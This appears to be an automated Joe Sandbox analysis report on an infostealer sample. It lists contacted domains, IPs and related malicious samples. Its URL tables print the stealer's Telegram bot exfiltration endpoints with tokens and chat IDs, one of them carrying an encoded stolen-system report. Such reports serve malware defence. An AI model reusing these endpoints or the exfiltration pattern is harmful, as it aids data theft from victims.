C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Check.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	100%	Joe Sandbox ML
C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://aka.ms/sdxdebug	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://api.telegram.org	0%	Avira URL Cloud	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	0%	Avira URL Cloud	safe
https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=16191	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/send	0%	Avira URL Cloud	safe
https://api.telegram.orgD	0%	Avira URL Cloud	safe
http://appsyndication.org/2006/appsynapplicationapuputil.cppupgradeexclusivetrueenclosuredigestalgor	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendDocument?chat_id=1619	0%	Avira URL Cloud	safe
http://icanhazip.com/	0%	Avira URL Cloud	safe
http://www.autoitscript.com/autoit3/	0%	Avira URL Cloud	safe
https://www.autoitscript.com/autoit3/	0%	Avira URL Cloud	safe
http://xml.org/sax/properties/lexical-handlerhttp://xml.org/sax/features/namespace-prefixeshttp://xm	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendDocument?chat_id=1619136628	0%	Avira URL Cloud	safe
https://github.com/LimerBoy/StormKitty0&eq	0%	Avira URL Cloud	safe
https://login.windows.net/commonhttps://login.windows.netDBSFetcher::CreateRequestHeader	0%	Avira URL Cloud	safe
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith	0%	Avira URL Cloud	safe
https://github.com/LimerBoy/StormKitty	0%	Avira URL Cloud	safe
https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096425866	0%	Avira URL Cloud	safe
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Stealer%202.0.4%20-%20Results:%0ADate:%202024-07-25%207:03:50%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20585948%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%205HD8R%0ARAM:%204095MB%0AHWID:%20A3234DEE9B%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True	0%	Avira URL Cloud	safe
http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte	0%	Avira URL Cloud	safe
http://api.telegram.orgd	0%	Avira URL Cloud	safe
https://api.telegram.org/file/bot	0%	Avira URL Cloud	safe
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff	0%	Avira URL Cloud	safe
http://api.telegram.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api.mylnikov.org	172.67.196.114	true	false	unknown
api.telegram.org	149.154.167.220	true	true	unknown
icanhazip.com	104.16.185.241	true	false	unknown
220.240.8.0.in-addr.arpa	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.mylnikov.org/geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%F0%9F%93%81%20Uploading%20Log%20Folders...	false	Avira URL Cloud: safe	unknown
http://icanhazip.com/	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendDocument?chat_id=1619136628	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=1619136628&text=%0A%20%20%F0%9F%8C%AA%20WorldWind%20Stealer%202.0.4%20-%20Results:%0ADate:%202024-07-25%207:03:50%20am%0ASystem:%20Windows%2010%20Pro%20(64%20Bit)%0AUsername:%20user%0ACompName:%20585948%0ALanguage:%20%F0%9F%87%A8%F0%9F%87%AD%20en-CH%0AAntivirus:%20Windows%20Defender.%0A%0A%20%20%F0%9F%92%BB%20Hardware:%0ACPU:%20Intel(R)%20Core(TM)2%20CPU%206600%20@%202.40%20GHz%0AGPU:%205HD8R%0ARAM:%204095MB%0AHWID:%20A3234DEE9B%0APower:%20NoSystemBattery%20(1%25)%0AScreen:%201280x1024%0A%0A%20%20%F0%9F%93%A1%20Network:%20%0AGateway%20IP:%20192.168.2.1%0AInternal%20IP:%20No%20network%20adapters%20with%20an%20IPv4%20address%20in%20the%20system!%0AExternal%20IP:%208.46.123.33%0ABSSID:%2000:50:56:a7:21:15%0A%0A%20%20%F0%9F%92%B8%20Domains%20info:%0A%20%20%20%E2%88%9F%20%F0%9F%8F%A6%20Bank%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%92%B0%20Crypto%20Logs%20(No%20data)%0A%20%20%20%E2%88%9F%20%F0%9F%8D%93%20Freaky%20Logs%20(No%20data)%0A%0A%20%20%F0%9F%8C%90%20Logs:%0A%20%20%20%E2%88%9F%20%E2%8F%B3%20History:%201%0A%20%20%20%E2%88%9F%20%F0%9F%94%96%20Bookmarks:%205%0A%0A%20%20%F0%9F%97%83%20Software:%0A%0A%20%20%F0%9F%A7%AD%20Device:%0A%20%20%20%E2%88%9F%20%F0%9F%97%9D%20Windows%20product%20key%0A%20%20%20%E2%88%9F%20%F0%9F%8C%83%20Desktop%20screenshot%0A%0A%20%20%F0%9F%93%84%20File%20Grabber:%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Database%20files:%2011%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Documents:%2045%0A%20%20%20%E2%88%9F%20%F0%9F%93%82%20Images:%2030%0A%0A%20%20Contact%20Developer:%20@FlatLineStealer%0A%20%20%20Join%20The%20Telegram%20Channel:%20@CashOutGangTalk&parse_mode=Markdown&disable_web_page_preview=True	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096425866	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	AutoIt3_x64.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/chrome_newtab	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/LimerBoy/StormKitty/master/StormKitty/stub/packages/DotNetZip.1.13	LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://aka.ms/sdxdebug	msoadfsb.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002902000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendMessage?chat_id=16191	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002902000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot	LisectAVT_2403002B_4.exe.0.dr	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/sendDocument?chat_id=1096	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F26000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002956000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8/send	LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr	true	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot5344934242:AAF3rLeFDCGd-IVKJG_PU99MSQjdKyNgeR0/sendDocument?chat_id=1619	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F26000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002956000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.orgD	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F26000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	URL Reputation: safe	unknown
http://appsyndication.org/2006/appsynapplicationapuputil.cppupgradeexclusivetrueenclosuredigestalgor	VC_redist.x64.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	LisectAVT_2403002B_4.exe, 00000000.00000002.2500097951.0000000000190000.00000004.00000010.00020000.00000000.sdmp, Uninstall.exe.0.dr	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/	Aut2exe.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://www.autoitscript.com/autoit3/	Aut2exe.exe.0.dr, AutoIt3_x64.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	URL Reputation: safe	unknown
http://xml.org/sax/properties/lexical-handlerhttp://xml.org/sax/features/namespace-prefixeshttp://xm	OcPubMgr.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	tmpD6C4.tmp.dat.1.dr	false	URL Reputation: safe	unknown
https://login.windows.net/commonhttps://login.windows.netDBSFetcher::CreateRequestHeader	OLicenseHeartbeat.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	URL Reputation: safe	unknown
https://github.com/LimerBoy/StormKitty0&eq	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith	msedge_pwa_launcher.exe.0.dr, identity_helper.exe.0.dr, pwahelper.exe.0.dr, elevation_service.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://github.com/LimerBoy/StormKitty	LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	tmpD6C4.tmp.dat.1.dr	false	URL Reputation: safe	unknown
http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte	integrator.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/8	Aut2exe.exe.0.dr	false		unknown
http://api.telegram.orgd	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F6A000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	tmpD6C4.tmp.dat.1.dr	false	URL Reputation: safe	unknown
https://api.telegram.org/file/bot	LisectAVT_2403002B_4.exe, LisectAVT_2403002B_4.exe.0.dr	false	Avira URL Cloud: safe	unknown
http://api.telegram.org	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F6A000.00000004.00000800.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002F4C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	LisectAVT_2403002B_4.exe, 00000001.00000002.4479253953.0000000002871000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpD5C4.tmp.dat.1.dr, tmpD572.tmp.dat.1.dr	false	URL Reputation: safe	unknown
https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff	msedge_pwa_launcher.exe.0.dr, identity_helper.exe.0.dr, pwahelper.exe.0.dr, elevation_service.exe.0.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
104.16.185.241	icanhazip.com	United States	13335	CLOUDFLARENETUS	false
172.67.196.114	api.mylnikov.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1481700
Start date and time:	2024-07-25 13:02:58 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	LisectAVT_2403002B_4.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@19/269@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 125 Number of non-executed functions: 10
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: LisectAVT_2403002B_4.exe

Simulations

Behavior and APIs

Time	Type	Description
07:04:01	API Interceptor	10873261x Sleep call for process: LisectAVT_2403002B_4.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Lisect_AVT_24003_G1B_119.exe	Get hash	malicious	Unknown	Browse
	Lisect_AVT_24003_G1B_119.exe	Get hash	malicious	Unknown	Browse
	Lisect_AVT_24003_G1B_33.exe	Get hash	malicious	Unknown	Browse
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Install.msi	Get hash	malicious	Unknown	Browse
	rPO0977-6745.exe	Get hash	malicious	Snake Keylogger	Browse
104.16.185.241	7Y18r(114).exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	7Y18r(114).exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	CdB3FZ9vyI.exe	Get hash	malicious	Unknown	Browse	icanhazip.com/
	ZUlr0Vm0Zt.pdf	Get hash	malicious	Hatef Wiper	Browse	icanhazip.com/
	CrowdStrike.exe	Get hash	malicious	Hatef Wiper	Browse	icanhazip.com/
	CrowdStrike.exe	Get hash	malicious	Hatef Wiper	Browse	icanhazip.com/
	PR240614_ORDER.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	172131942401ffa05fff4c7d2b222e93d44117cc2a702a757a1aa7c5c6fc9cfeeacb380f89693.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	38dJrNR8hr.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
	CV.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	icanhazip.com/
172.67.196.114	2U1S7Ab7YU.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	xj40xovMsm.exe	Get hash	malicious	AsyncRAT, AveMaria, Keyzetsu Clipper, MicroClip, PureLog Stealer, RL STEALER, RedLine	Browse
	w5APKwp5DD.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, MicroClip, StormKitty, WorldWind Stealer	Browse
	Hniunx426q.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT, WorldWind Stealer, XWorm	Browse
	vp2Gd0kDCt.exe	Get hash	malicious	AsyncRAT, RedLine, StormKitty, VenomRAT	Browse
	GxrG78Getq.exe	Get hash	malicious	AsyncRAT, Blackshades, Quasar, StormKitty, WorldWind Stealer	Browse
	Tax_docs_2023.pdf.lnk	Get hash	malicious	Metasploit	Browse
	iUi6TG0GhX.exe	Get hash	malicious	AsyncRAT, Njrat, RevengeRAT, StormKitty, VenomRAT, Xmrig	Browse
	PAYMENT-COPYaosi.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	RFQ195246.pdf.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.mylnikov.org	2U1S7Ab7YU.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	xj40xovMsm.exe	Get hash	malicious	AsyncRAT, AveMaria, Keyzetsu Clipper, MicroClip, PureLog Stealer, RL STEALER, RedLine	Browse	172.67.196.114
	Kh7W85ONS7.exe	Get hash	malicious	AsyncRAT, DarkTortilla, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	zrrHgsDzgS.exe	Get hash	malicious	AsyncRAT, PureLog Stealer, StormKitty, WorldWind Stealer, zgRAT	Browse	104.21.44.66
	H1XdsfkcgU.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	104.21.44.66
	w5APKwp5DD.exe	Get hash	malicious	AsyncRAT, HTMLPhisher, MicroClip, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	setup.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, PureLog Stealer, RedLine	Browse	172.67.196.114
	Hniunx426q.exe	Get hash	malicious	AsyncRAT, StormKitty, VenomRAT, WorldWind Stealer, XWorm	Browse	172.67.196.114
	SecuriteInfo.com.Trojan.PackedNET.2595.1466.2669.exe	Get hash	malicious	AsyncRAT, DcRat, StormKitty, VenomRAT	Browse	104.21.44.66
	t3h7DNer1Q.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	104.21.44.66
api.telegram.org	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Lisect_AVT_24003_G1B_119.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Lisect_AVT_24003_G1B_119.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Lisect_AVT_24003_G1B_33.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	DSD876543456780000.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Install.msi	Get hash	malicious	Unknown	Browse	149.154.167.220
	rPO0977-6745.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
icanhazip.com	7Y18r(114).exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	7Y18r(114).exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	CdB3FZ9vyI.exe	Get hash	malicious	Unknown	Browse	104.16.185.241
	ZUlr0Vm0Zt.pdf	Get hash	malicious	Hatef Wiper	Browse	104.16.185.241
	CrowdStrike.exe	Get hash	malicious	Hatef Wiper	Browse	104.16.185.241
	CrowdStrike.exe	Get hash	malicious	Hatef Wiper	Browse	104.16.185.241
	PR240614_ORDER.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	Enquiry-Dubai.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.184.241
	172131942401ffa05fff4c7d2b222e93d44117cc2a702a757a1aa7c5c6fc9cfeeacb380f89693.dat-decoded.exe	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.185.241
	38dJrNR8hr.js	Get hash	malicious	PXRECVOWEIWOEI Stealer	Browse	104.16.185.241

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Payment_Advice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Apixaban - August 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Payment Slip.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Torpernes.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Bootstrapper.exe	Get hash	malicious	Hancitor, Vidar	Browse	149.154.167.99
	LisectAVT_2403002C_60.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	149.154.167.99
	LisectAVT_2403002C_67.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	149.154.167.99
	LisectAVT_2403002C_81.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	Lisect_AVT_24003_G1B_119.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	CraxsRat VIP.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
CLOUDFLARENETUS	LisectAVT_2403002B_404.dll	Get hash	malicious	Ramnit	Browse	172.64.41.3
	LisectAVT_2403002B_412.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
	Ewhite Replay VM .docx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	Shipping_Details_Details.html	Get hash	malicious	Unknown	Browse	188.114.96.3
	LisectAVT_2403002B_428.exe	Get hash	malicious	Coinhive, Ramnit, Xmrig	Browse	172.64.41.3
